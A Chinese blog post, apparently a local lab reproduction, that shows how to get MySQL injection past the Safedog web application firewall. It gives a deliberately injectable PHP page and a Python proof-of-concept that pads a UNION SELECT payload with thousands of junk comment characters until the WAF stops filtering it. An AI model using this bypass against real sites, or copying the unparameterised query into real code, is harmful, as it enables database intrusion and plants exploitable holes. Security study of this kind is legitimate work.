mysql特性绕过安全狗_sql注入绕过安全狗waf

看了某个师傅sql注入绕过安全狗waf的文章,自己搭建平台重现一番。

环境部署

安装phpstudy:

cc1ff67e50e4

安全狗关闭CC:

cc1ff67e50e4

靶机代码和POC

创建test数据库:

cc1ff67e50e4

靶机代码:<?php

$db_host = 'localhost';

$db_name = 'root';

$db_user = 'root';

$db_pwd = '123456';

//面向对象方式

$mysqli = new mysqli($db_host, $db_user, $db_pwd);

//面向对象的昂视屏蔽了连接产生的错误,需要通过函数来判断

if(mysqli_connect_error()){

echo mysqli_connect_error();

}

//设置编码

$mysqli->set_charset("utf8");//或者 $mysqli->query("set names 'utf8'")

echo "连接成功";

mysqli_select_db($mysqli,'test');

$id=$_REQUEST['id'];

$query="SELECT * FROM users WHERE id =$id";

$result=mysqli_query($mysqli,$query);

while($row=mysqli_fetch_array($result,MYSQLI_NUM))

{

echo $row[0]." ".$row[1];

echo "
";

}

echo "
";

echo $query;

//关闭连接

$mysqli->close();

?>

访问:localhost/sql.php?id=1

cc1ff67e50e4

经测试发现常规的注入方式会被拦截

cc1ff67e50e4

因为对于软waf,如果提交的数据量过多。就会直接扔到后端去处理

get不能提交过多的数据,所以用post写了个简单的python脚本,通过叠加无用的字符,并检测是否绕过waf,我们的payload  1 /*无用的字符*/  union select user(),2

附上poc代码:import requests

url = "http://localhost/sql.php"

headers = {

"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"

}

try:

for i in range(1,2999):

st = "/*"+"ABC"*i+"*/ union select user(),2"

data={

"id":"1 %s " %st

}

print(i)

res= requests.post(url,headers=headers,data=data).text

print(data)

print(res)

if res.find("cax")!=-1:

print(i)

break

except:

print('终止执行')

运行结果:

在ABC*2562的时候成功了绕过了安全狗结果。

cc1ff67e50e4

绕过成功!!!

如果没有绕过狗的res的内容:

cc1ff67e50e4

将payload放在burp上验证下:

这里的burp注意是post请求方式,可以通过抓包抓到get请求的包放到Repeat下,然后右键change request method来更改成post请求:

cc1ff67e50e4

直接使用ABC*2562这个payload对于返回的请求包如果是500error或者internet server error当时以为是我的服务配置问题,没想到再加几十个ABC进去后,就绕过了waf

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值